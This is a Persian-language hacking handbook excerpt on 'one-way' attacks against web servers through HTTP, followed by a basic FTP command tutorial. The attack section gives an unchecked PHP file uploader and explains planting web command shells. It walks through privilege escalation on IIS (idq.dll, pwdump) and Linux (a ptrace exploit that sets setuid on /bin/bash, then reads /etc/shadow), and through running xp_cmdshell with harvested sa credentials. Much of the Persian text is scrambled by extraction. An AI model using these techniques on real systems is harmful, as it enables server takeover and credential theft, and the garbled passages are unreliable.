
 
upload.php – PHP 

  
  .بود خواهد راحت کاری نيز PHP  با  uploader یک ایجاد

  
<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000"> 
<input type="File" name="userfile" size="30"> 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٥٢    صفحه

<INPUT TYPE="submit" VALUE="upload"> 
</FORM> 
<?php 
if($userfile_name != "") { 
copy("$userfile", "./$userfile_name") or die("Couldnt copy file"); 
echo "File name: $userfile_name<br>\n"; 
echo "File size: $userfile_size bytes<br>\n"; 
echo "File type: $userfile_type<br>\n"; 
} 
?> 

  

  
  

اری  هر  توانيم می تقریبا باشيم، داشته راHTTP  روی آپلود امکانات هم و دستور اجرای امکان هم ما که هنگامی ه  ک ه  را ک  وب در ک
 دهيم انجام است، نظرمان مورد هدف سرور

 
دی  سپس  و Source Code کشف  :امکان  صورت این رد ل  پيکربن ا  فای ی  ی شبکه  کشف   .دارد وجود  سرور  وب روی ه  اگر ) داخل

  ... و آنها اجرای سپس و هدف سرور وب روی حمله ابزارهای کردن آپلود .دارد استقرار آن در هدف سرور وب که (باشد داشته وجود
  

 سرور  وب پروسه  توسط که اختياراتی سطح بوسيله ما نکه چو باشد، می privilege و اختيارات سطح با جدال بعدی آشکار ی مرحله
 .ایم شده محدود ست،ا یافته تمدید ما برای

 
 

Privilege Escalation 
  

WBCP ،د  می  اجرا  که چيزی تحت را پروسه اختيارات سطح شدند، بحث های قبل قسمت در که طور همان ها ه  کنن د  می  ارث ب  برن
ارات  سطح این معمولا، اربران  سطح  در اختي ا  شده  محدود  ک ند،  می Restricted User Level  ی ا  ورسر  وب پروسه  جزاینکه  باش  ب
د  شخص  موارد، از بسياری در حمله، و نفوذ کردن عميق برای .شود اجرا بالایی اختيارات سطح  و WBCP  یک  کردن  نصب  از بع
ستند  واحدی چيز Privilege Escalation  حملات دارد Privilege Escalation به نياز HTTP file uploader یک سپلویت  .ني  اک
ار  سطح  تدریجی افزایش آن نتيجه که دارد وجود گوناگونی های عامل سيستم برای بسياری های ه  اختي ا  Super User یک  ب ه  ی  یک  ب
   .داد وفق one-way attack تکنيک با را Privilege Escalation حملات از بسياری توان می . باشد بيشترمی اختيار سطح

  
ن ا هدف از خارج Privilege Escalation  حملات درباره مفصل و جزئی بحث ه  ی ه ) باشد  می  مقال از  صورت  در ک اده  ني  نوشتن  آم

  یکی کنيم، بحث Privilege Escalation حملات به راجع مثال دو حول باید .(هستم نيز بحث این حول مطالب
  

"Microsoft IIS 5.0 In-  (one_way.html#ref5) Process Table Privilege Elevation Vulnerability" 
 

  دیگری و IIS  مپلاتفر و ویندوز برای
  

"Linux (one_way.html#ref6) Ptrace/Setuid Exec Vulnerability" 
 

  .Apache  پلاتفرم و یونيکس برای
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 شل یک به نبایستی آن یعنی شود، می اجرا interactive  غير صورت به privilege escalation اکسپلویت که باشيم داشته توجه باید
interactive ترمينال یک ، interactive کنسول یک یا GUI اکسپلویت که بودیم مجبور ما مثال، این برای . باشد داشته احتياج ... و 

Linux ptrace شرایط برای آنرا که داده تغيير را one-way کنيم آماده.  
 
 
  

Windows/IIS Privilege Escalation  
  

ریم  نظر  در مثالی عنوان به را www1.example.com  بيائيد ه  بگي ا   Windows 2000 Server یک  از ک تفاده  IIS 5.0 ب  می  اس
ا  file uploader اسکریپت یک توانسته هکر و بوده پذیر آسيب سرور این که است این ما فرض . کند ام  ب ان  upload.asp ن  طور  هم
 .کند آپلود سرور روی (شده داده نشان های قبل قسمت در که
  
  
  

  زويندو به حمله ابزارهای کردن آپلود
  

ل  دو و cmdasp.asp – WBCP – یک شد، داده توضيح های قبل قسمت در که طور همان باید اکنون اینری  فای  و idq.dll  اضافی  ب
pwdump.dll.idq  اکسپلویت یک که privilege escalation از و بوده  

  
 Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability 

  
 به را IWAM_machinename و IUSR_machinename  های اکانت اکسپلویت این . کنيم آپلود سرور روی را ( کند می استفاده
ار  IIS پروسه  تحت ها application و ها پروسه تمامی به وسيله بدین که کند می اضافه مدیران گروه دیر  اختي ه  بخشد  می  م  شامل  ک

WBCP شود می نيز  Pwdump.exe استخراج برای که باشد می باینری یک hash برای و گيرد می قرار ستفاده امورد پسورد های 
   .دهد می نشان اند، شده آپلودwww1.example.com  به که باینری سه این زیر عکس .دارد نياز مدیریت اختيارات به اجرا

  

  
 
 ، همان "dir"دستور اجرای و  cmdasp.asp وسيله به را رکا این که خير یا اند شده آپلود موفقيت با ها فایل آیا که کنيم چک توانيم می
  :دهيم می انجام است، شده داده نشان زیر در که طور
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 net localgroup" دستور صدور با کار این ، شده داده نشان زیر در که طور همان کردهکه چک را مدیران گروه اعضای باید اکنون
administrators" شود می انجام:   

 

  
  
  .باشد می Administrator  کاربر مدیران گروه عضو هاتن
  
  

Privilege Escalation – idq.dll 
  

ام  رای  تلاش  بعدی  گ ا  invoke  ب ه  باشد  می  idq.dll فراخوانی  ی ن  ک ار  ای رای  ک اراتِ  کردنِ  escalate  ب  های  اکانت  اختي
IUSR_machinename و IWAM_machinename د  می  زیر در که طور همان . ستا ساده خيلی کار این . باشد می   URL بيني
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  مدتی از بعد ارتباط عوض، در شود، نمی داده نمایش (result)ای نتيجه و خروجی هيچ .گيرد می قرار دسترسی مورد سرور در زیر
time out است بوده آميز موفقيت زیاد خيلی احتمال به حمله که دهد می نشان این .شود می.  

 

 
 
  

يم  چک مجددا را مدیران گروه اعضای اکنون باید است، بوده آميز موفقيت براستی حمله آیا کهاین بررسی برای ان  . کن ه  طور  هم  در ک
 :است شده داده نشان زیر

  

  
 

ام  بنابراین . باشند می مدیران گروه اعضای IWAM_W2KVM  و IUSR_W2KVM  های اکانت اکنون  شده  اجرا  دستورات  تم
يله   به ه  طور  انهم  cmdasp.asp وس ا  ک اینری  اجرای  ب شان pwdump.exe  ب ارات  شد،  داده ن دیر  سطح  اختي د  می  را م ه  . خواه  ب

  :بينيد می زیر  در که صورتی
  

   .داریمwww1.example.com  روی کاملی مدیریتی کنترل ما اکنون،
 
  

Linux/Apache Privilege Escalation  
  

ه  نظر  در بانیقر عنوان به را www2.example.com مثال این برای ه  گرفت وکس  سرور  یک  ک ه  باشد  می  لين ا  ک  2.4و Kernel ، ب
ق  .باشد  می  اجرا  حال در Apache 1.3.27 برابر ال  طب ل،  مث يم  می  فرض  قب ه  کن ذیر  آسيب  سرور  ک وده  پ  file  اسکریپت  یک  و ب

uploaderنام با  upload.cgi است دهش آپلود سرور در شد داده نشانهای قبل  قسمت در که طور همان  
 

  يونيکس به حمله برای ابزار کردن آپلود
 

ل  و ( شد  داده توضيح 4.0.1 قسمت در که طور  همانshell.cgi – WBCP یک باید سرور، این برای ا  دیگری  فای ام   ب  ptrace1.c ن
ود سرور را روی يم آپل سپلویت  یکPtrace1.c کن یprivilege escalation اک ر  مبن  Linux Ptrace/Setuid Exec ب

Vulnerability در استفاده برای آنرا که است شده داده تغيير مقداری اکسپلویت این . باشد می one-wayه  هنگامی . دهيم  وفق ن  ک  ای
 می بکار شود، می مدیریت root کاربر توسط که bin/bash/برای را setuid permissionاکسپلویت شود، اجرا موفقيت با یت اکسپلو

رد  ن  . ب ه  شود  می  باعث  ای ق  از شده  اجرا  shell command هر  ک ا  bin/bash/ طری ار  سطح  ب   شود  اجرا  Super-User ، اختي
WBCP،  shell.cgi ذاتا/bin/bash توسط اجراشده دستورات تمامی بنابراین و کند، می طلب را  shell.cgi کاربر عنوان به بایستی 

Root شود اجرا.  
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  .دهد می نشان اند، شده آپلود www2.example.com  روی که را فایل دو این زیر، عکس
  

  
  
  

  
  
  
  
 را جاری اختيارات سطح همچنين باید ما . خير یا است شده کامپایل درستی به آیا که کنيم چک و کنيم کامل راptrace1.c  اکنون باید ما

  :دهد می نشان shell.cgi توسط را زیر دستورات اجرای زیر عکس .کنيم چک
 

gcc -o ptrace1 ptrace1.c 
ls -la 
id 

  

  
  

  .باشند می nobody کاربر برای shell.cgi به یافته توسعه اختيارات سطح
  

Privilege Escalation – ptrace1.c  
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ه  را setuid های  permission  توانيم می آیا ببينيم که باشد می ptrace 1  اجرای برای تلاش بعدی گام يم  استعمال  bin/bash/ ب   کن
(apply) اکسپلویت .خير یا  ptrace1.c کند می اجرا را زیر دستور ذاتا:  

  
/bin/chmod 4755 /bin/bash 

  
   دهد می نشان را bin/bash/ برای گرفتن ليست و ptrace 1  شدن اجرای زیر عکس

  

  
  
    .ددار را شده استعمال آن روی که bin/bash ،  setuid permission/ باینری که، کرد یقين توان می

  
  :دهد می نشان را دستور دو شدن اجرای بعد عکس

 
id 
cat /etc/shadow 

  

  
  

ن  واقعيت  .باشد  می root کاربر برای که باشد، می 0 برابر shell.cgi  فرآیند برای  euid یا effective uid  که کنيد می ملاحظه  ای
ه  دهيم نشان را etc/shadow/ فایل محتویات که بودیم قادر ما که ن ا ک د  می  ثابت  ی ه  کن ارات  سطح  ک ا  اختي ه  ارتق ون  .است  یافت ا  اکن  م

   .داریم www2.example.com روی را super-user از کامل کنترلی
 

SQL Command Promptبر  مبتنی (WBSQLCP) Web  
  

One-Way Hacking طریق از دور راه از فایل اجرای و فایل انتقال از غير هایی محيط به تواند می HTTP از یکی .شود داده بسط 
ن  .باشد  می اطلاعاتی بانک  application یک در اجزا ترین مهم سمت  ای شان  ق د  می  ن ه  ده وانيم  می  چطور  ک وم  ت  one-way ، مفه

hacking ا  دهيم بسط را ه  ت املی  صورت  ب ا  را اطلاعاتی  بانک  سرورهای  تع اد  ب زی  ایج ه  چي  Web Based SQL Command  ک
Prompts کنيم ل نترک شود، می ناميده. WBSQLCP طریف  از اطلاعاتی  بانک  سرور  یک  به که دهند می اجازه کاربر یک به ها 

    .کنند اجراHTML  فرم یک طریق از back-end  اطلاعاتی بانک روی را SQL های گزارش  و شوند متصل HTML  واسط یک
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 موارد، از بسياری در .دهند می ارائهback-end DB  هب اتصال برای عامليتی ASP و PHP قبيل از Web نویسی برنامه های زبان
ال  به اساسا است ممکن نفوذگر یک بيفتد، خطر به web server یک که بار یک د  دنب ع  ک ل  و منب ا  بگردد  سرور  وب روی  های  فای  ت
 هنگامی تواند می دانش این application .پيکربندی کند پيدا دستيابی آن به تا دارد قرار هاکجا نامه اعتبار و اطلاعاتی بانک که بفهمد
  .شود استفاده کنيد، می حمله WBSQLCP طریق از اطلاعاتی بانک یک به که
  
  

  SQLQuery.asp – SQL Command Prompt يک آناتومی
 

  :است شده ایجاد ASP توسط که دهد می نشان WBSQLCP  یک از مثالی زیر عکس
  

  
 
 :ددار وجود فرم این در کليدی ورودی پنج

  
Server Name 

  
ستم  یک  کل  طور به DB Server . موارد بسياری در DB Server به مربوط IP آدرس یا (سمبوليک) نمادین نام اوت  سي  وب از متف

  .باشد می سرور
  

Database Name 
  
  DB Server. روی موجود اطلاعاتی های بانک مجموعه از خارج اطلاعاتی بانک نام
 

User Name 
  

  .گيرند می قرار استفاده مورد کند، می برقرار ارتباط اطلاعاتی بانک با که هنگامی هایش اعتبارنامه که لاعاتی،اط بانک کاربر
  

Password 
  

وط  source code سرکشی  عدم برای اطلاعاتی بانک عبور رمزهای و کاربران اساسا، .اطلاعاتی بانک کاربر برای عبور رمز  مرب
  .شوند می recover خطر معرض در سرور وب روی موجود ربندیپيک های فایل و  application به
  

Query String 
  

   دارید اطلاعاتی بانک روی شدن اجرا و شدن فرستاده بنابر هک SQL  گزارش
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 . شوند  می  استفاده اطلاعاتی بانک برای مناسب مسير و درایو انتخاب برایConnection String  و Driver یعنی دیگر پارامتر دو
Connection String در .است اختياری پارامتر یک sqlquery.aspمثال برای داریم، درایور چهار بوسيله اتصال از انتخاب یک ما 

 : Microsoft SQL Server ،Oracle Server ODBC ، MySQL over ODBC و Fox Pro به توانند می اضافی درایورهای 
 .شوند اضافه راحتی

  
  M$ SQL Server  وIIS مثال  يک

 
ه  اطلاعاتی  بانک  سرورهای کردن هک در را sqlquery.asp از استفاده چگونگی که کنيم می ارائه را سناریویی اکنون  یک  روی ک
شان  را Web Server از application  بندی طرح زیر طرح .دهد می نشان هستند، داخلی شبکه د  می  ن  و www1.example و ده
  .10.0.1.2 اطلاعاتی . بانک سرور

  
 

يم  می  فرض  ه  کن وذ  قابليت  www1.example.com ک ی  file uploder  یک  و دارد نف ر  مبتن  WBCP یک  و upload.asp  وب ب
cmdasp.asp  گيریم نمی نظر در اختيارات سطح به راجع فرضی هيچ ما .دارند وجود آن روی.  

 

 
 

ون  د  اکن ود  www1.example.com روی را sqlquery.asp  بای يم،  آپل رای  آن از و کن ه  ب ه  حمل  روی اطلاعاتی  بانک  سرور  ب
 .کنيم استفاده 10.0.1.2

  
  sqlquery.asp کردن آپلود

  
  شدن آپلود زیر عکس sqlquery.asp یعنی  آپلودر توسط را upload.asp روی www1.example.com .دهد می نشان
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  Web Application  از(pilfering)کردن دزدی
 
 هایی اعتبارنامه چه با و اطلاعاتی بانک با را ارتباط یک چگونه که داریم این دانستن به احتياجback-end DB  به شدن وصل از قبل
ر  خطوط  www1.example.com برای web application  به مربوط source code  سرکشی محض به .سازیم برقرار ، دا  زی  پي
 شد
 

Set Con = Server.CreateObject("ADODB.Connection") 
Con.Open "Provider=SQLOLEDB; Data Source=10.0.1.2; Initial Catalog=art; 
User Id=sa; Password=sys+adm!n" 
Set RS = Con.Execute("select StockNumber,Name,Description,Artist, 
ListPrice,image from PRODUCTS where ID = " + 
Request.QueryString("ID")) 

  
افی  اطلاعاتی  ما به application source code از خطوط این رای  ک ه  شدن  متصل  ب ه  10.0.1.2 روی back-end DB ب  می  ارائ
  .دهد

  
  

  sqlquery.asp  توسط SQL های گزارش اجرای
  
 کنيم اجرا DB Server روی را دلخواه SQL ، جملات که دارد وجود امکان این sqlquery.asp  با فوق های اعتبارنامه از استفاده با
  :دهد می نشان را ";SELECT * FROM SYSDATABASES"گزارش اجرای ی نتيجه زیر عکس .
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 .دهد می نشان"art" اطلاعاتی بانک روی PRODUCTS  نام با جدول یک از را application اطلاعات بعدی عکس
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  (Stored Procedures) شده ذخيره های رويه اجرای
 

SQL Command Prompt ال،  این در .شود استفاده شده ذخيره های رویه اجرای برای تواند می نهمچني ا  مث ه  م  back-end DB ب
ا  تفاده  ب ارات  سطح  از اس دیر  اختي ستم  م م  دسترسی  (sa) سي ابراین،  .داری ن  بن رای  امکان  ای ه  اجرای  ب ره  های  روی ل  از شده  ذخي  قبي

"xp_cmdshell" کرد اجرا لاعاتیاط بانک روی را دلخواه دستورات تا دارد وجود.  
 

   :دهد می نشان "xp_cmdshell"شدهی ذخيره رویه از استفاده با اطلاعاتی بانک روی را "ipconfig"دستور اجرای زیر عکس
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  !!یافتيم دست نيست، دسترس قابل خارج از که داخلی سرور یک روی RCE  به ما
 
ت،  در ا  حقيق ين  ب ال  هم شابه،  مث ا  م ين  م م،  بدست  را privilege escalation  همچن ه  چرا  آوردی ا  ک ه  م ا  اطلاعاتی  بانک  ب تفاده  ب  اس

 نشان را آوردیم دست به که اختياری سطح "whoami.exe"اجرای با سریع چک یک . کنيم می پيدا دست سيستم مدیر های اعتبارنامه
 :داد ، خواهد
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  .باشد می "NT_AUTHORITY\SYSTEM"  کاربر که داریم را مدیر اختيار سطح براستی ما که کند می بررسی فوق عکس
  
  

  نهائی مفاهيم
  

one-way hack رای  آتش  دیوارهای  که کند می تشریح را حقيقت این افی  web application  یک  کردن  حفاظت  ب ستند  ک  یک  . ني
ت،  در . بگيرد را او یجلو کل طور به تواند نمی هرگز اما سازد، تر مشکل نفوذگر برای را کارها تواند می سرسخت، دیوارآتش  حقيق

ا  ن  ب زار  ای ل  از اب سيار  WBSQLCP و File Uploader ، WBCP قبي وان  می  راحت  ب ه  ت   ی شبکه  و web application یک  ب
underlying کرد حمله سرسخت دیوارآتش یک با.  

  
  

SSL یا Sockets Secure Layer کردن امن نظر نقطه از حتی  application کنند می فکر افراد بسياری .سازد می بدتر را چيزها 
 اطلاعات encoding  و رمزنگاری برای تنها SSL نيست طور این که صورتی در . کند می جلوگيری حملات چنين این از SSL  که
ن  که قبل هم آموزش استراق سمع از ا   (SSL  برود بين از سمع استراق امکان نهایت در تا شود می استفاده سرور وب و مرورگر بين ی

ذکور  های  روش تمامی . دهد نمی ارائه  underlying شبکه یا web application برای امنيتی هيچ )سوکت ها را به شما دادم   در م
   .شود می انجام OpenSSL قبيل از هایی کتابخانه از استفاده با کار این که شوند داده تطبيق SSL با توانند می مقاله این
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تمام مطالب ) یک گلابی(متاسفانه مطالب بسيار زیادی برای این موضوع گردآوری شده بود ، که در اثر سهل انگاری یک نفر         : اهداف
رایش و                         رای وی ی ب يم چون دیگری وقت تفاده کن الات آراز صمدی اس ان از مق اطنی م ل ب از دست رفت ، و ما مجبور شدیم بر خلاف مي

  .نگارش مطلب نداشتيم 
  
  

  .FTP معرفی پروتکل : فصل سوم 
 

 .مرور و آشنای با این پروتکل  
 .معرفی دستورات این پروتکل  
  .FTP راه ایمن سازی سرویس های ١٠ 
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  ن درسي نکته راجع به اکي -

لش هم يدل. نیرياد بگیها  نکي ل  رو از همونftpد و درس ی کنم که خودتون برینک معرفين درس فقط چند تا لی ایخواست که برا یدلم م

ن هر روز يني سال هم بشیکنترنت هست که اگه یقدر مقاله کامل تو ا نین درس خاص اینه که در مورد ایعلتش ا! کاملا واضحه

ح يجا براتون توض نينکه قرار شده تمام مطالب مرتبط با هک رو گام به گام همی به هر حال به خاطر ایول. شهيدشون، تموم نميبخون

ن درس رو خودتون ی مختلف راجع به ایها ن و مقالهي بکنsearchک یخوام که حتما  ی ازتون میول. گم یرو هم م! ن درس تابلویبدم، ا

  :)تره   از نون شب هم واجبftpاد گرفتن ی. ديهم مطالعه کن

  

  ست؟ي چ٢١ پورت -

  

ن پروتکل و یکاربرد ا. لی پروتکل انتقال فاینعی است file transfer protocol مخفف عبارت ftp. گن ی مftp رو پورت ٢١پورت 

.  هستشی پروتکل باستانیکتونم بگم که  یپس م.  نشده بودیهم چندان عموم ) ٨٠پورت ( وب ی وجود داره که حتین پورت از زمانیا

وتر فعال ي اون کامپی روftpس مربوط به ین که سرويد مطمئن بشید، باين پروتکل صحبت کنیق ایک سرور از طرید با يخواه ی میوقت

ن ارتباط برقرار یخوا یوتر ميحالا شما با اون کامپ. وتر در حال اجرا باشهي اون کامپی روftp serverک ید یگه بایبه عبارت د. باشه

  ! د و دستگاه مقابل سرورينت هستیپس شما کلا. دي استفاده کنftp clientک ید از ین، پس شما بايکن

  ست؟ي چftpن که کار يد بپرسیحالا شا

  

ftpل در دو جهت ممکنه که ین انتقال فایره و ايل به کار می انتقال فای براupload و downloadها رو  نینکه ای ایبرا. شهي گفته م

ن یيل به سمت پاید، فایريگ یل رو از اون می فایوتر سرور بالای سر شما قرار گرفته، پس وقتيد که کامپيد با هم فرض کني نکنیقاط

و هر دو عبارت .  کردنuploadم، يگ یباشد و بهش م ید، حالت برعکس ميفرست ی سرور میل رو برای فایو وقت) download(آد  یم

مون   ما بحثیول...  و webره مثل یپذ  هم امکانیا گهی دیها ق پروتکلیل از طرید که انتقال فايدقت کن. شهيل محسوب می انتقال فاینوع

  . استftpن پروتکل يهم

  

 شما ید بگم که وقتین عبارت اول بایح اي توضیبرا.  استanonymousد، عبارت یرياد بگید ین پورت بای که راجع به ایا گهیرت دعبا

ده ي پرسpassword و username ارتباط با سرور از شما یبرا! سي که نی کشکیطور نيد، هميد با سرور ارتباط برقرار کنيخواه یم

 ین پروتکل پروتکل حساسید که اينيب یپس م( د یر بدييد و تغي کنdownload و uploadها رو  لین فايونت یشه و اگه درست باشه م یم

 داشته password و username ممکنه که شما ین حالت که گفتم در حالتیا). شه باهاش کردي کارها میلياست و اگه هک بشه خ

در . ميت ارتباط برقرار کنیا سایک سرور ی ftpم با پورت یخوا یم و می ندارpassword و usernameآد که  یش مي پیاما گاه. ديباش

م و اونو حالت یها رو ندار لیرات در فاييا اعمال تغی و uploadشه و اجازه ي به ما داده مdownloadن حالت معمولا فقط اجازه یا

anonymous از ما ین حالت وقتیدر ا. گن یا ناشناس می usernameبارت شه، عي خواسته مanonymousم و بعد که يکن یپ می را تا
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ن يسی بنوی الکE-mail یک تون ی واقعE-mail یگم که به جا ی من مید، ولي تون رو وارد کنE-mailد یشه، شما بايده ميپسورد پرس

   !! alaki@dolaki.comمثلا 

  

   است؟یم به چه شکليکن ی سرور استفاده میک با ftp ی که برایآدرس

  

م، ينوشت ی مثلا مwebادتون باشه واسه یاگه . (  دارهی معمولا ساختار ثابتی به سرور داره ولیم بستگيکن یتفاده م که اسیآدرس

www.far30.com ( یحالا برا ftpم، يسینو ی مftp.far30.comت ی سای پس مثلا براsazin.comم، يسینو ی مftp.sazin.com که 

  .شهيت می ساftpآدرس 

  

  

   اون فعال باشه؟ی روftpس يدا کنم که سروي سرور پيک ی چطور-

  

  :ن سوال دو حالت دارهیا

  

 از یلين از خيتون ین حالت می ایبرا. نی ندارpassword و username یعنین ي وارد بشanonymousد به صورت يخواه ی م-١

  .گهی دیها تیا ساید ي استفاده کنftp.microsoft.comن از يتون یمثلا م. ديها استفاده کن تیسا

  

 password و usernameشه که ي مییها تیتون محدود به سا طه عمليد، حي کار کنanonymousر يد به صورت غیخوا ی اگه م-٢

 و geocities و netfirms مثلا در یت مجانی و چه سایت پولیچه سا( د ينترنت داشته باشی ای رویتیمثلا اگه شما سا. نیواسه اون دار

د يتون ید، میت نداریاگه سا. ديکن یق اون کار میره که از طريگ ی تعلق مpassword و usernameک ی و ftpک آدرس یبه شما ... ) 

های  تیا از سای. دياهو است استفاده کنی که متعلق به geocities.comت ید از سايتون یمثلا م. دي درست کنیت مجانیک سای

netfirms.com ا یfreeservers.comد و ينام کن ها ثبت نی از ایکیل در هر حا  بهیول...  وusername و passwordدیري بگ .

نام  قه ثبتین که طریاز من نخوا. (خواهد بود...  وftp.netfirms.comا ی ftp.geocities.comصورت   آنها هم که بهftp یها آدرس

  .)يک راحتیليکار خ! اد بدمیها رو هم به شما  تین سایدر ا

  

  

  مي صحبت کن٢١ با پورت -

  

 و ali1000 من باشه username و ftp.somesite.com:  اون باشهftpکنم که آدرس  ی استفاده میت فرضیک ساید من از يفرض کن
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 و ncگه از ین پورت دیدر مورد ا. ت ارتباط برقرار کنمین سای با ا٢١ق پورت یخوام از طر یحالا م. گه باشهیزه دي چیکپسوردم هم 

telnetها هست، به اسم  ندوزی که در تمام ویا ، بلکه از برنامهکنم ی استفاده نمftpدر . رميگ ی کمک مcommand promptسمینو ی م :  

 

ftp ftp.somesite.com 

  : شنوم یو جواب م

 

Connected to somesite.com. 

220 somesite Microsoft FTP Service (Version 5.0). 

User (somesite.com:(none)):  

  

ن یدونستن ا( کنه  یندوز استفاده میعامل و ستمين سرور از سی است، پس اMicrosoft اش از نوع ftp serverت ین سایه اد کيدقت کن

خواد، پس  ی رو مusernameد که از من يدقت کن) ديات توجه کنيشه به جزئيکنم که هم ی ميک من توصیست، ولينکات لازم ن

  : آد ی جواب م.دم ی رو فشار مEnter و ali1000: سمینو یم

 

331 Password required for ali1000. 

Password: 

  

  : شنوم یجواب م. کنم یپ میخواد و پسورد رو تا یحالا ازم پسورد م

 

230 User ali1000 logged in. 

ftp> 

  

اگه .  باهاش داشته باشم!ا نشستی sessionک یوتر مقابل ارتباط برقرار کرده و اصطلاحا ي کامپ٢١ده که تونستم با پورت ين نشون میا

username ا یpasswordگفت ی اشتباه بود، اون موقع م :  

 

530 User ali1000 cannot log in. 

Login failed. 

ftp> 

  

  : کنم یپ میت برقرار شده، حالا تاي با موفقsessionکنم که  یمن فرض م
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ftp> help 

  

  : شنوم یو جواب م

 

Commands may be abbreviated.  Commands are: 

 

!               delete          literal         prompt          send 

?               debug           ls              put             status 

append          dir             mdelete         pwd             trace 

ascii           disconnect      mdir            quit            type 

bell            get             mget            quote           user 

binary          glob            mkdir           recv            verbose 

bye             hash            mls             remotehelp 

cd              help            mput            rename 

close           lcd             open            rmdir 

  

 يکبق. ح خواهم دادي مشخص کردم رو توضbold که به صورت ییها من فقط اون. ديد استفاده کنيتون ی است که میست دستوراتيها ل نیا

  .رن یدستورات کمتر به کار م

  

  

  ن پورت کدامند؟يا ی برايک دستورات پا-

  

  ? و helpدستور + 

  .هم معادل اونه? دستور . مین الان استفاده کردي رو همhelpدستور 

  

   ls و dirدستور + 

 از ینه که وقتیشون ا فرق.  وجود داردییها) رکتورییدا(ها و فولدر  لی چه فادر سرور یدن که در محل فعل ین دو دستور نشون میا

dirمن نوشتم . دهيها به ما م ها و فولدر لی علاوه بر نام فایشتريطلاعات بد، ايکن ی استفاده مdirدمي و جواب شن :  
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200 PORT command successful. 

150 Opening ASCII mode data connection for /bin/ls. 

12-28-02  02:18AM       < DIR>          db 

12-28-02  02:19AM       < DIR>          Special 

03-08-03  03:18AM       < DIR>          www 

226 Transfer complete. 

ftp: 135 bytes received in 0.02Seconds 6.75Kbytes/sec. 

  

ها فولدر  نیا). ديک کتاب داس بخونید، يستي آشنا نdirاگه با دستور . (نجا هستیا) یرکتوریدا(د که سه تا فولدر یيفرما یملاحظه م

  www و special و dbن فولدرها عبارتند از ینام ا. ها نوشته شده است  اونیجلو> DIR<  عبارت هستند چون

  

  :هستند، عبارنتد از) وتر خودموني کامپینه رو( سرور ی که رویی فولدرهایدستورات مرتبط با کار رو+ 

cd ا يchdir==  <ره یک فولدر به کار می وارد شدن داخل ین دستور برایا.  

  

mkdir == <رهيد به کار میک فولدر جدی ساختن ین دستور برایا.  

  

rmdir==  <باشدی که آن فولدر خالیبه شرط(ره يک فولدر موجود به کار می پاک کردن ین دستور برایا (  

  

د، مثلا يسیبنوک کاراکتر فاصله، نام فولدر را ی است، دستور مورد نظر را نوشته و بعد از ین دستورات کافی کار با هر کدوم از ایبرا

  : سمینو ی بشم، مwwwاگه بخوام وارد فولدر 

 

cd www 

  

  : شنوم یو جواب م

 

250 CWD command successful. 

ftp> 

  

  : رميگ یکنم و جواب م ی را استفاده مdirحالا دوباره دستور . ام  شدهwww) یرکتوریدا( است که وارد فولدر ین جواب به آن معنیا
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200 PORT command successful. 

150 Opening ASCII mode data connection for /bin/ls. 

12-28-02  02:18AM       < DIR>          _private 

02-17-03  04:15PM                 61982 1.jpg 

12-28-02  02:19AM       < DIR>          aspnet_client 

12-28-02  02:19AM       < DIR>          cgi-bin 

12-29-02  06:27PM                 11285 default.asp 

12-28-02  02:19AM       < DIR>          images 

12-28-02  02:18AM                  2494 postinfo.html 

226 Transfer complete. 

ftp: 1438 bytes received in 0.28Seconds 5.12Kbytes/sec. 

ftp> 

  

ن ی که ایی هستند و اونایرکتوریدا> DIR<  که جلوشون نوشته ییها اون. می داریرکتوریل و سه تا دای تا فا د که سهيکن یملاحظه م

  .باشند یل میفا) انگر حجم هر کدومشون هست يکه ب(  عدد نوشته شده یکعبارت رو ندارند و جلوشون 

ک فولدر یسم، ی رو بنوcd.. م اگه ي هستwwwم، مثلا الان که تو فولدر یگرد ی بر می به فولدر قبلcd.. سم ی اگه بنوcdدر مورد دستور 

ن یا.  استpwdگه هم راجع به فولدرها هست و اونم دستور ی دستور د یک )wwwبه حالت قبل از ورود به ( گردم  یبه عقب برم

  .مي سرور هستیده که ما الان تو کدوم فولدر از فولدرهايدستور نشون م

  

  :ها عبارنتد از لیستورات مرتبط با فاد+ 

  

delete ا يdele==  <ره یل به کار میک فای پاک کردن ین دستور برایا.  

  

rename==  <ره یل به کار میک فای عوض کردن نام ین دستور برایا.  

  

  delete default.aspسم ینو ی رو پاک کنم، مdefault.aspل یمثلا اگه بخوام فا

  rename default.asp index.htmسم ینو یر نام بدم، ميي تغindex.htm رو به default.aspل یاگه بخوام فا

  

  

  :وتر خودماني کامپیدستورات مرتبط با فولدرها+ 
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 ما روی یحالت اول محل فعل.  دارهین مسئله دو معنیم، ایم در کدام فولدر قرار داریيگو ی می وقت٢١د که در مورد پورت ياول دقت کن

حالت دوم محل .  سرور استی فولدرهای کار روی که راجع به فولدرها گفتم برایتمام دستورات. مي سرور هستی کجایعنی. سرور است

م به يلود کن ل را داونیم فایخوا یم والان میا وتر سرور شدهي در کامپید که وارد فولدريفرض کن. وتر خودمون استي ما در کامپیفعل

. ميوترمان بشيک فولدر خاص در کامپید وارد یوتر خودمون منتقل بشه، باي در کامپیل به فولدر درستینکه فای ایبرا. وتر خودمونيکامپ

  : سمینو ی بشم، مC:و ی از دراarazمثلا اگه بخوام وارد فولدر . استlcdدستور مرتبط با اون دستور 

 

lcd c:/araz 

  

  کدامند؟) لي فاdownload و upload (ی دستورات اصل-

  

  :ل رو بگمین دستورات رو بگم، انواع فاینکه ایقبل از ا

  ... و rtf و php و asp و html و txt یها لی دارند، مثل فای که حالت متنییها لیفا : ascii یها لیفا> ==

  ... و database  ،docا، یمد ی، مولتیکي گرافیها لیستند، مثل فاي نی که متنییها لیفا : binary یها لیفا> ==

  

  :میکار دار نی ایدو تا دستور برا. ميم کنيل نوع اون رو تنظید قبل از انتقال فایم، باي کنuploadا یلود  ل رو داونیم فاياهخو ی میوقت

  . عمل انتقال انجام شودیم به صورت اسکيخواه ی میعنی:  ascا ي ascii دستور+ 

  .نجام شود عمل انتقال اینریم به صورت بايخواه ی میعنی:  binا ي binary دستور+ 

م، يکن ی استفاده مdownloadا ی uploadم، و از دستور مربوط به يل رو قرار باشه منتقل کنی فایادی تعداد زیوقت: promptدستور +

د مثلا يخواه ید که ميفرض کن. ا نهیل منتقل شود ین فاید ايخواه یا میکند که آ یخواهد منتقل شود، از ما سوال م ی میلیهر بار که فا

